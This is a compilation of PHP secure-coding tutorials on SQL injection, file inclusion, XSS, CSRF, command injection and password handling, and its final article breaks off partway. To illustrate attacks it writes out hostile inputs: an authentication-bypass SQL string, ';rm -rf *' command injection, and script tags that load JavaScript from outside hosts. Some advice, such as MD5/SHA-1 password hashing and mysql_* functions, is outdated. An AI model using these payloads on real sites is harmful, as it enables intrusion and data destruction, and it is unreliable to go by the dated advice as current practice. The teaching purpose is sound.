Writing Secure PHP, Part 1
Learn how to avoid some of the most common mistakes in PHP, and so make your sites more secure.
PHP is a very easy language to learn, and many people without any sort of background in programming learn it as a way to add interactivity to their web sites. Unfortunately, that often means PHP programmers, especially those newer to web development, are unaware of the potential security risks their web applications can contain. Here are a few of the more common security problems and how to avoid them.
Rule Number One: Never, Ever, Trust Your Users
It can never be said enough times, you should never, ever, ever trust your users to send you the data you expect. I have heard many people respond to that with something like "Oh, nobody malicious would be interested in my site". Leaving aside that that could not be more wrong, it is not always a malicious user who can exploit a security hole - problems can just as easily arise because of a user unintentionally doing something wrong.
So the cardinal rule of all web development, and I can't stress it enough, is: Never, Ever, Trust Your Users. Assume every single piece of data your site collects from a user contains malicious code. Always. That includes data you think you have checked with client-side validation, for example using JavaScript. If you can manage that, you'll be off to a good start. If PHP security is important to you, this single point is the most important to learn. Personally, I have a "PHP Security" sheet next to my desk with major points on, and this is in large bold text, right at the top.
Global Variables
In many languages you must explicitly create a variable in order to use it. In PHP, there is an option, "register_globals", that you can set in php.ini that allows you to use global variables, ones you do not need to explicitly create.
Consider the following code:
- if ($password == "my_password") {
- $authorized = 1;
- }
- if ($authorized == 1) {
- echo "Lots of important stuff.";
- }
To many that may look fine, and in fact this exact type of code is in use all over the web. However, if a server has "register_globals" set to on, then simply adding "?authorized=1" to the URL will give anyone free access to exactly what you do not want everyone to see. This is one of the most common PHP security problems.
Fortunately, this has a couple of possible simple solutions. The first, and perhaps the best, is to set "register_globals" to off. The second is to ensure that you only use variables that you have explicitly set yourself. In the above example, that would mean adding "$authorized = 0;" at the beginning of the script:
$authorized = 0; if ($password == "my_password") { $authorized = 1; } if ($authorized == 1) { echo "Lots of important stuff."; }
Error Messages
Errors are a very useful tool for both programmer and hacker. A developer needs them in order to fix bugs. A hacker can use them to find out all sorts of information about a site, from the directory structure of the server to database login information. If possible, it is best to turn off all error reporting in a live application. PHP can be told to do this through .htaccess or php.ini, by setting "error_reporting" to "0". If you have a development environment, you can set a different error reporting level for that.
SQL Injection
One of PHP's greatest strengths is the ease with which it can communicate with databases, most notably MySQL. Many people make extensive use of this, and a great many sites, including this one, rely on databases to function.
However, as you would expect, with that much power there are potentially huge security problems you can face. Fortunately, there are plenty of solutions. The most common security hazard faced when interacting with a database is that of SQL Injection - when a user uses a security glitch to run SQL queries on your database.
Let's use a common example. Many login systems feature a line that looks a lot like this when checking the username and password entered into a form by a user against a database of valid username and password combinations, for example to control access to an administration area:
$check = mysql_query("SELECT Username, Password, UserLevel FROM Users WHERE Username = '".$_POST['username']."' and Password = '".$_POST['password']."'");
Look familiar? It may well do. And on the face of it, the above does not look like it could do much damage. But let's say for a moment that I enter the following into the "username" input box in the form and submit it:
' OR 1=1 #
The query that is going to be executed will now look like this:
SELECT Username, Password FROM Users WHERE Username = '' OR 1=1 #' and Password = ''
The hash symbol (#) tells MySQL that everything following it is a comment and to ignore it. So it will actually only execute the SQL up to that point. As 1 always equals 1, the SQL will return all of the usernames and passwords from the database. And as the first username and password combination in most user login databases is the admin user, the person who simply entered a few symbols in a username box is now logged in as your website administrator, with the same powers they would have if they actually knew the username and password.
With a little creativity, the above can be exploited further, allowing a user to create their own login account, read credit card numbers or even wipe a database clean.
Fortunately, this type of vulnerability is easy enough to work around. By checking for apostrophes in the items we enter into the database, and removing or neutralising them, we can prevent anyone from running their own SQL code on our database. The function below would do the trick:
function make_safe($variable) { $variable = mysql_real_escape_string(trim($variable)); return $variable; }
Now, to modify our query. Instead of using _POST variables as in the query above, we now run all user data through the make_safe function, resulting in the following code:
$username = make_safe($_POST['username']); $password = make_safe($_POST['password']); $check = mysql_query("SELECT Username, Password, UserLevel FROM Users WHERE Username = '".$username."' and Password = '".$password."'");
Now, if a user entered the malicious data above, the query will look like the following, which is perfectly harmless. The following query will select from a database where the username is equal to "\' OR 1=1 #".
SELECT Username, Password, UserLevel FROM Users WHERE Username = '\' OR 1=1 #' and Password = ''
Now, unless you happen to have a user with a very unusual username and a blank password, your malicious attacker will not be able to do any damage at all. It is important to check all data passed to your database like this, however secure you think it is. HTTP Headers sent from the user can be faked. Their referral address can be faked. Their browsers User Agent string can be faked. Do not trust a single piece of data sent by the user, though, and you will be fine.
File Manipulation
Some sites currently running on the web today have URLs that look like this:
index.php?page=contactus.html
The "index.php" file then simply includes the "contactus.html" file, and the site appears to work. However, the user can very easily change the "contactus.html" bit to anything they like. For example, if you are using Apache's mod_auth to protect files and have saved your password in a file named ".htpasswd" (the conventional name), then if a user were to visit the following address, the script would output your username and password:
index.php?page=.htpasswd
By changing the URL, on some systems, to reference a file on another server, they could even run PHP that they have written on your site. Scared? You should be. Fortunately, again, this is reasonably easy to protect against. First, make sure you have correctly set "open_basedir" in your php.ini file, and have set "allow_url_fopen" to "off". That will prevent most of these kinds of attacks by preventing the inclusion of remote files and system files. Next, if you can, check the file requested against a list of valid files. If you limit the files that can be accessed using this script, you will save yourself a lot of aggravation later.
Using Defaults
When MySQL is installed, it uses a default username of "root" and blank password. SQL Server uses "sa" as the default user with a blank password. If someone finds the address of your database server and wants to try to log in, these are the first combinations they will try. If you have not set a different password (and ideally username as well) than the default, then you may well wake up one morning to find your database has been wiped and all your customers' credit card numbers stolen. The same applies to all software you use - if software comes with default username or password, change them.
Leaving Installation Files Online
Many PHP programs come with installation files. Many of these are self-deleting once run, and many applications will refuse to run until you delete the installation files. Many however, will not pay the blindest bit of attention if the install files are still online. If they are still online, they may still be usable, and someone may be able to use them to overwrite your entire site.
Predictability
Let us imagine for a second that your site has attracted the attention of a Bad Person. This Bad Person wants to break in to your administration area, and change all of your product descriptions to "This Product Sucks". I would hazard a guess that their first step will be to go to http://www.yoursite.com/admin/ - just in case it exists. Placing your sensitive files and folders somewhere predictable like that makes life for potential hackers that little bit easier.
With this in mind, make sure you name your sensitive files and folders so that they are tough to guess. Placing your admin area at http://www.yoursite.com/jsfh8sfsifuhsi8392/ might make it harder to just type in quickly, but it adds an extra layer of security to your site. Pick something memorable by all means if you need an address you can remember quickly, but don't pick "admin" or "administration" (or your username or password). Pick something unusual.
The same applies to usernames and passwords. If you have an admin area, do not use "admin" as the username and "password" as the password. Pick something unusual, ideally with both letters and numbers (some hackers use something called a "dictionary attack", trying every word in a dictionary as a password until they find a word that works - adding a couple of digits to the end of a password renders this type of attack useless). It is also wise to change your password fairly regularly (every month or two).
Finally, make sure that your error messages give nothing away. If your admin area gives an error message saying "Unknown Username" when a bad username is entered and "Wrong Password" when the wrong password is entered, a malicious user will know when they've managed to guess a valid username. Using a generic "Login Error" error message for both of the above means that a malicious user will have no idea if it is the username or password he has entered that is wrong.
Finally, Be Completely and Utterly Paranoid
If you assume your site will never come under attack, or face any problems of any sort, then when something eventually does go wrong, you will be in massive amounts of trouble. If, on the other hand, you assume every single visitor to your site is out to get you and you are permanently at war, you will help yourself to keep your site secure, and be prepared in case things should go wrong.
Writing Secure PHP, Part 2
Learn how to improve your security a little further with the second part of this PHP tutorial.
In Writing Secure PHP, I covered a few of the most common security holes in websites. It's time to move on, though, to a few more advanced techniques for securing a website. As techniques for 'breaking into' a site or crashing a site become more advanced, so must the methods used to stop those attacks.
File Systems
Most hosting environments are very similar, and rather predictable. Many web developers are also very predictable. It doesn't take a genius to guess that a site's includes (and most dynamic sites use an includes directory for common files) is an www.website.com/includes/. If the site owner has allowed directory listing on the server, anyone can navigate to that folder and browse files.
Imagine for a second that you have a database connection script, and you want to connect to the database from every page on your site. You might well place that in your includes folder, and call it something like connect.inc. However, this is very predictable - many people do exactly this. Worst of all, a file with the extension ".inc" is usually rendered as text and output to the browser, rather than processed as a PHP script - meaning if someone were to visit that file in a browser, they'll be given your database login information.
Placing important files in predictable places with predictable names is a recipe for disaster. Placing them outside the web root can help to lessen the risk, but is not a foolproof solution. The best way to protect your important files from vulnerabilities is to place them outside the web root, in an unusually-named folder, and to make sure that error reporting is set to off (which should make life difficult for anyone hoping to find out where your important files are kept). You should also make sure directory listing is not allowed, and that all folders have a file named "index.html" in (at least), so that nobody can ever see the contents of a folder.
Never, ever, give a file the extension ".inc". If you must have ".inc" in the extension, use the extension ".inc.php", as that will ensure the file is processed by the PHP engine (meaning that anything like a username and password is not sent to the user). Always make sure your includes folder is outside your web root, and not named something obvious. Always make sure you add a blank file named "index.html" to all folders like include or image folders - even if you deny directory listing yourself, you may one day change hosts, or someone else may alter your server configuration - if directory listing is allowed, then your index.html file will make sure the user always receives a blank page rather than the directory listing. As well, always make sure directory listing is denied on your web server (easily done with .htaccess or httpd.conf).
------
Out of sheer curiosity, shortly after writing this section of this tutorial, I decided to see how many sites I could find in a few minutes vulnerable to this type of attack. Using Google and a few obvious search phrases, I found about 30 database connection scripts, complete with usernames and passwords. A little more hunting turned up plenty more open include directories, with plenty more database connections and even FTP details. All in, it took about ten minutes to find enough information to cause serious damage to around 50 sites, without even using these vulnerabilities to see if it were possible to cause problems for other sites sharing the same server.
-----
Login Systems
Most site owners now require an online administration area or CMS (content management system), so that they can make changes to their site without needing to know how to use an FTP client. Often, these are placed in predictable locations (as covered in the last article), however placing an administration area in a hard-to-find location isn't enough to protect it.
Most CMSes allow users to change their password to anything they choose. Many users will pick an easy-to-remember word, often the name of a loved one or something similar with special significance to them. Attackers will use something called a "dictionary attack" (or "brute force attack") to break this kind of protection. A dictionary attack involves entering each word from the dictionary in turn as the password until the correct one is found.
The best way to protect against this is threefold. First, you should add a turing test to a login page. Have a randomly generated series of letters and numbers on the page that the user must enter to login. Make sure this series changes each time the user tries to login, that it is an image (rather than simple text), and that it cannot be identified by an optical character recognition script.
Second, add in a simple counter. If you detect a certain number of failed logins in a row, disable logging in to the administration area until it is reactivated by someone responsible. If you only allow each potential attacker a small number of attempts to guess a password, they will have to be very lucky indeed to gain access to the protected area. This might be inconvenient for authentic users, however is usually a price worth paying.
Finally, make sure you track IP addresses of both those users who successfully login and those who don't. If you spot repeated attempts from a single IP address to access the site, you may consider blocking access from that IP address altogether.
Database Users
One excellent way to make sure that even if you have a problem with someone accessing your database who shouldn't be able to, you can limit the damage they can cause. Modern databases like MySQL and SQL Server allow you to control what a user can and cannot do. You can give users (or not) permission to create data, edit, delete, and more using these permissions. Usually, I try and ensure that I only allow users to add and edit data.
If a site requires an item be deleted, I will usually set the front end of the site to only appear to delete the item. For example, you could have a numeric field called "item_deleted", and set it to 1 when an item is deleted. You can then use that to prevent users seeing these items. You can then purge these later if required, yourself, while not giving your users "delete" permissions for the database. If a user cannot delete or drop tables, neither can someone who finds out the user login to the database (though obviously they can still do damage).
Powerful Commands
PHP contains a variety of commands with access to the operating system of the server, and that can interact with other programs. Unless you need access to these specific commands, it is highly recommended that you disable them entirely.
For example, the eval() function allows you to treat a string as PHP code and execute it. This can be a useful tool on occasion. However, if using the eval() function on any input from the user, the user could cause all sorts of problems. You could be, without careful input validation, giving the user free reign to execute whatever commands he or she wants.
There are ways to get around this. Not using eval() is a good start. However, the php.ini file gives you a way to completely disable certain functions in PHP - "disable_functions". This directive of the php.ini file takes a comma-separated list of function names, and will completely disable these in PHP. Commonly disabled functions include ini_set(), exec(), fopen(), popen(), passthru(), readfile(), file(),shell_exec() and system().
It may be (it usually is) worth enabling safe_mode on your server. This instructs PHP to limit the use of functions and operators that can be used to cause problems. If it is possible to enable safe_mode and still have your scripts function, it is usually best to do so.
Finally, Be Completely and Utterly Paranoid
Much as I hate to bring this point up again, it still holds true (and always will). Most of the above problems can be avoided through careful input validation. Some become obvious points to address when you assume everyone is out to destroy your site. If you are prepared for the worst, you should be able to deal with anything.
Writing Secure PHP, Part 3
The third part of the Writing Secure PHP series, covering weak passwords, clients and more advanced topics.
In Writing Secure PHP and Writing Secure PHP, Part 2 I covered many of the basic mistakes PHP developers make, and how to avoid common security problems. It is time to get a little deeper into security though, and begin to tackle some more advanced issues.
Context
Before I start, it is worth mentioning at this point in this series that much of what is to come is highly dependant on context. If you are running a small personal site and are regularly backing it up, the chances are that there is no real benefit to you spending weeks on advanced security issues. If an attacker can gain nothing (and cause no harm) by compromising your site, and it would only take you ten minutes to restore it, should something go wrong, then it would be a waste to spend too long on security concerns. At the other end of the scale, if you are managing an ecommerce site that processes thousands of credit cards a day, then it is negligent not to spend a lot of time researching and improving your site's security.
Database Field Lengths
Database (we're going to talk about MySQL here, but this is applicable to any database) fields are always of a specific type, and every type has its limits. You can as well, in MySQL, limit field lengths further than they are already limited by their types.
However, to the inexperienced developer, this can present problems. If you are allowing users to post an article on your site, and adding that to a database field with type "blob", then the longest article you can store in the database is 65,535 characters. For most articles that will be fine, but what is going to happen when a user posts an article of 100,000 characters? At best, if you have set up your site so errors are not displayed, their article will simply vanish without being added to the site.
Remember that for an attacker to be able to compromise your system, they need information about it. They need to find weaknesses. Error messages are a very powerful part of that and if you are displaying errors, then an attacker can make use of this to find out information about your database.
To fix this, simply check the lengths of data input through forms and querystrings and ensure that before you launch a site you check forms will not cause errors to be displayed when too many characters are entered.
Weak Passwords
Dictionaries are a useful tool for an attacker. If you have a site with a login system and your database were compromised (and there is no harm in assuming that at some point it will be), an attacker can grab a list of hashed passwords. It is difficult (practically impossible) to directly translate a hash back into a password.
However, most attackers will have databases containing lists of words and their matching hashes in common formats (eg a database with all words in English and their MD5 hashes). It is fairly easy, should someone gain access to your database, for them to compare a hashed password to this list of pre-hashed passwords. If a match is found in the list, the attacker then knows what the un-hashed password is.
There are ways to avoid this problem, and the best of those is to ensure that only strong passwords are ever used. Some people find guaging the strength of passwords tricky, but the general rule of thumb is: a password like "password", "admin", "god", "sex", "qwerty", "123456" or similar (i.e. easily guessable) is extremely weak; a password made up only of a word in the dictionary is weak; a password made of letters, numbers and making use of upper and lower case is strong (there is a strong usability case to be made for not using case-sensitive passwords - if you wish to use case-insensitve ones, simply perform checks to ensure people do not pick passwords like "password12345").
Clients
Clients are a huge security risk, believe it or not. Some will hire a cheaper developer to make small changes six months after you're finished. Some will give out FTP details to anyone who phones and asks for them. [Out of curiosity, I decided to see how easy it is to get FTP details over the phone. I visited the site of a local company (who shall remain nameless) and found the name of their design company (who shall also remain nameless). I then phoned the local company and told them I was with the design company and needed them to send me the site's FTP details. They agreed without question or hesitation. Scary. (I told them what I was doing before they sent any sensitive data to me and they are now better educated and suitably paranoid about people asking for details over the phone).]
Some will ignore emails from people pointing out security problems (in the process of writing the previous article in this series, I found a large selection of sites with publically available database connection scripts. I emailed the owners explaining why they are at risk, and only one has replied and had the problem fixed at the time of writing). Admitedly, many of the emails and calls they receive will be misinformation or sales pitches, but it is still worth them having someone check this out - they do not know enough to distinguish a genuine problem from the rest.
Unfortunately, this is one security problem that cannot be solved with code. This one requires education. For this reason, I have created an unbranded copy of the sheet I give to my clients, with a selection of security tips on. When we launch the site, I sit down with them and tell them how they need to treat their site, and what to consider when making decisions regarding it.
Client Security Handout (PNG, 74KB)
Code Injection (a.k.a. "Cross-Site Scripting")
Unlike SQL Injection, which relies on the use of delimiters in user-input text to take control of database queries, code injection relies on mistakes in the treatment of text before it is output. Or, to put it in simpler terms, code injection is where a malicious user uses a text box to add HTML that they've written to your webpage.
Let's say you have a system that allows users to register as members to your site and that they are allowed to create their own username. They fill out a form, and you insert the data they enter, once you've made it safe to use in a SQL query, into a database. Your members listing page fetches all the usernames from the database and lists them, outputting exactly what is in the database to anyone that views that page.
Now, let's say you've not added a limit to username lengths. Someone could, if they wanted, create a user with the following username:
- Username<script type="text/javascript" src="http://www.website.com/malicious.js"></script>
Anyone that then views a page with that username on it will see a normal username, but a JavaScript has been loaded from another site invisibly to the user.
There are plenty of uses for this. First and foremost, it allows attackers to add keyloggers, tracking scripts or porn banners on your site, or just stop your site working altogether. There are several ways to ensure this doesn't happen. First, you could encode HTML in usernames. If you wanted to allow people to use greater-then and less-than signs in their usernames, that is. If not, you can strip these characters out, or strip out HTML tags altogether.
Another, better way to approach this is to limit the character set that can be used in usernames. If you only allow letters and numbers, for example, you could simply use a regular expression in the signup process to validate the username and force the user to pick another if they have disallowed characters in their username. Obviously the problem is not just applicable to usernames - however, as with most other security concerns, being quite paranoid will ensure that you always check data coming from a user before outputting it, and sanitising it in an appropriate way.
Aftermath
Part of a good security strategy is the assumption that at some point everything (and I mean everything) will be deleted or destroyed. It is wise to assume that at some point any security measure you have in place will be compromised. All data may be taken (which is one reason why it is important to encrypt things like passwords and credit card numbers in databases), all files deleted and so on.
One part of PHP development, though perhaps not directly about PHP security, is ensuring that after a catastrophic failure a site can be brought back online quickly. While downtime of four hours maybe acceptable with a low-traffic point-of-presence site, any ecommerce retailer is going to erupt with fury at the thought of that much lost revenue.
Dealing with the client under these circumstances is the first step. Often, your first inkling of a problem with a site may actually come from the client. They may have phoned you and could be angry, worried, or a myriad of other emotions. At moments like this, you would be very glad to have a clear contigency plan in place. Many developers panic when the client phones saying their front page has been defaced. Stick to your action plan and to your client you will seem confident and unphased. That will relax them. The plan will also allow you to resolve the problem far faster.
First, find out what happened. Are you dealing with a security breach or has someone at the host company tripped over a power lead? Was the database compromised, or deleted, as a result of an attack or was your server simply unable to cope with too much traffic? You need to know what has happened in order to deal with it - a site going offline could be down to too many factors to just assume it is a security problem.
Assuming this is a security problem, the next step is to reassure the client. Let them know what has happened. If someone got into the database, no problem - all sensitive data is encrypted. If they've uploaded files to your server (quite possible), you'll have to delete all files and restore from a backup.
You've got to find out how the attacker broke into your system. Check log files, if you have access to them. Also, have a look at hacker and cracker web sites - many of them will list successful attacks against servers by various groups (these are often what are sometimes known as "script kiddies" - not hackers as such, but usually exploiting vulnerabilities found by others). You may well find your site listed and that listing will give you invaluable information. Look at other sites brought down by the same group at around the same time - you will often spot a theme (e.g. all sites that have been attacked were running the same version of IIS or Apache, were all running phpBB, or all are file repositories running on CFML).
If you are running any third party software on the site, check the distribution site and if necessary get in touch with them, especially if other sites running the same software appear to have been compromised.
It is very important that you fix any hole there may be before you restore the site. It would be wise to add a "We are currently undergoing essential maintenance" page, but do not fully restore the site before you have found out and fixed whatever the problem was - you'll be wasting your time.
Shared Hosting
Shared hosting is much cheaper than dedicated hosting, and is where several sites are all hosted on the same server. Most sites are hosted this way, and this brings with it its own set of security issues.
First and foremost, the security of your site is, in these circumstances, almost entirely out of your hands. It is dependant on the hosting company you are with. They may be excellent, or they may be crooks. Check reviews of a company before you select them, as they will have access to all the data you store with them. There is no harm in being automatically suspicious of your hosting company.
If they are completely above board (and most are), you are still not necessarily secure with shared hosting. The security measures they put in place are generally pretty simple. Shared hosting servers should always use PHP's safe mode (which disables many of the more advanced and dangerous features of PHP). That is what it is there for. However, many don't.
Vulnerabilities associated with shared hosting are, for the most part, out of your hands. A badly set up server will allow any site on that server to access files like /etc/passwd and httpd.conf, often giving them access to all other sites on the same server. It is possible to secure yourself to some degree against the effects of this vulnerability. Storing information in a database is recommended. Of course, if you then store your database login in a file, an attacked could access this information. In order to make this inaccessible to others on the same server, you could set database login information within the httpd.conf file, using environmental variables (you will need to ask your host company to add the lines to the httpd.conf file).
Better yet is to ensure that your host, if shared, uses safe mode. While this is still not 100% secure (nothing is), it does help make these attacks more difficult. A dedicated server is another, far better, option, but the expense may be prohibitive.
Writing Secure PHP, Part 4
The fourth part of the Writing Secure PHP series, covering cross-site scripting, cross-site request forgery and character encoding security issues.
In Writing Secure PHP, Writing Secure PHP, Part 2 and Writing Secure PHP, Part 3 I covered many of the common mistakes PHP developers make, and how to avoid some potential security problems. This article covers some of the more advanced security problems common to PHP on the web.
Cross-Site Scripting (XSS)
Cross-site scripting (often abbreviated to XSS) is a form of injection, where an attacker finds a way to have the target site display code they control. In its most basic form, this can be as simple as a site that allows HTML characters in usernames, where someone can specify a username like:
- DaveChild<script type="text/javascript" src="http://www.example.com/my_script.js"></script>
Now, whenever someone sees my username on the target site, the script I've added to my username will run. I could potentially use this to grab the person's login information, log their keystrokes - any number of nefarious activities.
As a developer, you can combat this type of attack by encoding or removing HTML characters (watch out for character encoding issues, as outlined next). Even better than stripping out unwanted characters is to allow a whitelist of safe characters in usernames and other fields. Be especially careful with e-commerce sites where you are listing orders in a CMS - an XSS vulnerability may allow an attacker to gain administrative access to your CMS. It is also important to turn off TRACE and TRACK support on the server, as if there is a vulnerability (and always assume that despite your best efforts there will be) these potentially allow an attacker to steal a user's cookie.
As a user you are also vulnerable to this sort of attack, and it is very difficult, at the moment, to make yourself safe against it. Vigilance is key, and to that end I have released a userscript that warns you about third party scripts (for users of GreaseMonkey, Opera or Chrome).
Cross-Site Request Forgery (CSRF)
Despite the similar name, CSRF is unconnected to XSS. CSRF is a form of attack where an authenticated user performs an action on a site without knowing it.
Let's assume that Jack is logged in to his bank, and has a cookie stored on his computer. Each time he sends an HTTP request to the bank (i.e., views a page or an image on a page) his browser sends the cookie along with the request so that the bank knows that it's him making the request.
Jill, meanwhile, runs a different website and has managed to get Jack to visit it. One of the items on the page is in fact loaded from the bank, for example in an iframe. The URL of the iframe or request contains instructions to the bank to transfer money from Jack's account to Jill's. Because the request is coming from Jack's computer, and includes his cookie, the bank assumes it is a legitimate request and the money is transferred.
This type of attack is extremely dangerous and virtually untracable. As a developer, your job is to protect against it, and the best way to do that is to remember Rule Number One: Never, Ever Trust Your Users. No matter how authenticated they are, do not assume every request was intended.
In practical PHP terms, you can combat CSRF with several relatively simple coding habits. Never let the user do anything with a GET request - always use POST. Confirm actions before performing them with a confirmation dialog on a separate page - and make sure both the original action button or link and the confirmation were clicked. Even better, have the user enter information like letters from their password on the confirmation page.
Add a randomly generated token to forms and verify its presence when a request is made. Use frame-breaking JavaScript. Time-out sessions with a short timespan (think minutes, not hours). Encourage the user to log out when they've finished. Check the HTTP_REFERER header (it can be hidden, but is still worth checking as if it is a different domain to that expected it is definitely a CSRF request).
Character Encoding
Character encoding in PHP and associated database systems is worthy of its own series. In any one request, there may be more different character encodings in use than you might think.
For example, a single request and response (uploading a file to a server and writing information to a database) may involve all of the following differently items with different character encodings: the HTTP request headers, post data, PHP's default encoding, the PHP MySQL module, MySQL's default set, the set of each table being used, a file being opened and read, a new file being created and written, the response headers and the response body.
English-speaking developers generally don't have much cause to get embroiled in character encoding issues, and that results in a lot of developers with a serious lack of understanding of how character encodings work and fit together. For those that do have a reason to look at character encodings, usually that interest ends with the setting of the response's character set.
However, character sets are a fundamental part of all web development. English alone can exist in any one of a wide variety of sets, and developers are usually familiar with the most common two: ISO-8859-1 and UTF-8. Fewer are familiar with UCS-2, UTF-16 or windows-1252. Still fewer are familiar with commonly used alternative language sets (e.g, GB2312 for Chinese).
Which, in a very roundabout way, brings me on to the security pitfalls of character encodings. Where data is processed by PHP using one character set, but a database server uses a different character set, a character (or series of characters) deemed safe by PHP may in fact allow SQL injection against the database.
PHP security expert Chris Shiflett has written about this issue and included an example of how it can be exploited to allow SQL injection even where input is sanitized using addslashes().
The solution is to always always use mysql_real_escape_string() rather than addslashes() (or use prepared statements / stored procedures), and to explicitly state character sets at all stages of interaction. Ideally, use the same character set throughout your system (UTF-8 is recommended) and where PHP allows you to specify a character encoding for a function (e.g., htmlspecialchars() or htmlentities()), make use of it.
It's not just SQL that's vulnerable as a result of character encoding bugs. Cross-site scripting is possible even where HTML characters are escaped if character sets are not handled properly. Fortunately, once again that is simple to avoid by properly setting character encodings at all stages of the process and specifying character encoding for functions where possible.
*********************************************************************************
Top 7 PHP Security Blunders
This article was written in 2005 and remains one of our most popular posts. If you’re keen to learn more about web security, you may find this recent article of great interest.
PHP is a terrific language for the rapid development of dynamic Websites. It also has many features that are friendly to beginning programmers, such as the fact that it doesn’t require variable declarations. However, many of these features can lead a programmer inadvertently to allow security holes to creep into a Web application. The popular security mailing lists teem with notes of flaws identified in PHP applications, but PHP can be as secure as any other language once you understand the basic types of flaws PHP applications tend to exhibit.
In this article, I’ll detail many of the common PHP programming mistakes that can result in security holes. By showing you what not to do, and how each particular flaw can be exploited, I hope that you’ll understand not just how to avoid these particular mistakes, but also why they result in security vulnerabilities. Understanding each possible flaw will help you avoid making the same mistakes in your PHP applications.
Security is a process, not a product, and adopting a sound approach to security during the process of application development will allow you to produce tighter, more robust code.
Unvalidated Input Errors
One of — if not the — most common PHP security flaws is the unvalidated input error. User-provided data simply cannot be trusted. You should assume every one of your Web application users is malicious, since it’s certain that some of them will be. Unvalidated or improperly validated input is the root cause of many of the exploits we’ll discuss later in this article.
As an example, you might write the following code to allow a user to view a calendar that displays a specified month by calling the UNIX cal command.
$month = $_GET['month'];
$year = $_GET['year'];
exec("cal $month $year", $result);
print "<PRE>";
foreach ($result as $r) { print "$r<BR>"; }
print "</PRE>";
This code has a gaping security hole, since the
$_GET[month]
and $_GET[year]
variables are not validated in any way. The application works perfectly, as long as the specified month is a number between 1 and 12, and the year is provided as a proper four-digit year. However, a malicious user might append ";ls -la"
to the year value and thereby see a listing of your Website’s html directory. An extremely malicious user could append ";rm -rf *"
to the year value and delete your entire Website!
The proper way to correct this is to ensure that the input you receive from the user is what you expect it to be. Do not use JavaScript validation for this; such validation methods are easily worked around by an exploiter who creates their own form or disables javascript. You need to add PHP code to ensure that the month and year inputs are digits and only digits, as shown below.
$month = $_GET['month'];
$year = $_GET['year'];
if (!preg_match("/^[0-9]{1,2}$/", $month)) die("Bad month, please re-enter.");
if (!preg_match("/^[0-9]{4}$/", $year)) die("Bad year, please re-enter.");
exec("cal $month $year", $result);
print "<PRE>";
foreach ($result as $r) { print "$r<BR>"; }
print "</PRE>";
This code can safely be used without concern that a user could provide input that would compromise your application, or the server running it. Regular expressions are a great tool for input validation. They can be difficult to grasp, but are extremely useful in this type of situation.
You should always validate your user-provided data by rejecting anything other than the expected data. Never use the approach that you’ll accept anything except data you know to be harmful — this is a common source of security flaws. Sometimes, malicious users can get around this methodology, for example, by including bad input but obscuring it with null characters. Such input would pass your checks, but could still have a harmful effect.
You should be as restrictive as possible when you validate any input. If some characters don’t need to be included, you should probably either strip them out, or reject the input completely.
Access Control Flaws
Another type of flaw that’s not necessarily restricted to PHP applications, but is important nonetheless, is the access control type of vulnerability. This flaw rears its head when you have certain sections of your application that must be restricted to certain users, such as an administration page that allows configuration settings to be changed, or displays sensitive information.
You should check the user’s access privileges upon every load of a restricted page of your PHP application. If you check the user’s credentials on the index page only, a malicious user could directly enter a URL to a "deeper" page, which would bypass this credential checking process.
It’s also advisable to layer your security, for example, by restricting user access on the basis of the user’s IP address as well as their user name, if you have the luxury of writing an application for users that will have predictable or fixed IPs. Placing your restricted pages in a separate directory that’s protected by an apache .htaccess file is also good practice.
Place configuration files outside your Web-accessible directory. A configuration file can contain database passwords and other information that could be used by malicious users to penetrate or deface your site; never allow these files to be accessed by remote users. Use the PHP include function to include these files from a directory that’s not Web-accessible, possibly including an .htaccess file containing "deny from all" just in case the directory is ever made Web-accessible by adiminstrator error. Though this is redundant, layering security is a positive thing.
For my PHP applications, I prefer a directory structure based on the sample below. All function libraries, classes and configuration files are stored in the includes directory. Always name these include files with a .php extension, so that even if all your protection is bypassed, the Web server will parse the PHP code, and will not display it to the user. The www and admin directories are the only directories whose files can be accessed directly by a URL; the admin directory is protected by an .htaccess file that allows users entry only if they know a user name and password that’s stored in the .htpasswd file in the root directory of the site.
/home
/httpd
/www.example.com
.htpasswd
/includes
cart.class.php
config.php
/logs
access_log
error_log
/www
index.php
/admin
.htaccess
index.php
You should set your Apache directory indexes to ‘index.php’, and keep an index.php file in every directory. Set it to redirect to your main page if the directory should not be browsable, such as an images directory or similar.
Never, ever, make a backup of a php file in your Web-exposed directory by adding .bak or another extension to the filename. Depending on the Web server you use (Apache thankfully appears to have safeguards for this), the PHP code in the file will not be parsed by the Web server, and may be output as source to a user who stumbles upon a URL to the backup file. If that file contained passwords or other sensitive information, that information would be readable — it could even end up being indexed by Google if the spider stumbled upon it! Renaming files to have a .bak.php extension is safer than tacking a .bak onto the .php extension, but the best solution is to use a source code version control system like CVS. CVS can be complicated to learn, but the time you spend will pay off in many ways. The system saves every version of each file in your project, which can be invaluable when changes are made that cause problems later.
Session ID Protection
Session ID hijacking can be a problem with PHP Websites. The PHP session tracking component uses a unique ID for each user’s session, but if this ID is known to another user, that person can hijack the user’s session and see information that should be confidential. Session ID hijacking cannot completely be prevented; you should know the risks so you can mitigate them.
For instance, even after a user has been validated and assigned a session ID, you should revalidate that user when he or she performs any highly sensitive actions, such as resetting passwords. Never allow a session-validated user to enter a new password without also entering their old password, for example. You should also avoid displaying truly sensitive data, such as credit card numbers, to a user who has only been validated by session ID.
A user who creates a new session by logging in should be assigned a fresh session ID using the
session_regenerate_id
function. A hijacking user will try to set his session ID prior to login; this can be prevented if you regenerate the ID at login.
If your site is handling critical information such as credit card numbers, always use an SSL secured connection. This will help reduce session hijacking vulnerabilities since the session ID cannot be sniffed and easily hijacked.
If your site is run on a shared Web server, be aware that any session variables can easily be viewed by any other users on the same server. Mitigate this vulnerability by storing all sensitive data in a database record that’s keyed to the session ID rather than as a session variable. If you must store a password in a session variable (and I stress again that it’s best just to avoid this), do not store the password in clear text; use the
sha1()
(PHP 4.3+) or md5()
function to store the hash of the password instead.if ($_SESSION['password'] == $userpass) {
// do sensitive things here
}
The above code is not secure, since the password is stored in plain text in a session variable. Instead, use code more like this:
if ($_SESSION['sha1password'] == sha1($userpass)) {
// do sensitive things here
}
The
SHA-1
algorithm is not without its flaws, and further advances in computing power are making it possible to generate what are known as collisions (different strings with the same SHA-1 sum). Yet the above technique is still vastly superior to storing passwords in clear text. Use MD5
if you must — since it’s superior to a clear text-saved password — but keep in mind that recent developments have made it possible to generate MD5
collisions in less than an hour on standard PC hardware. Ideally, one should use a function that implements SHA-256
; such a function does not currently ship with PHP and must be found separately.
For further reading on hash collisions, among other security related topics, Bruce Schneier’s Website is a great resource.
Cross Site Scripting (XSS) Flaws
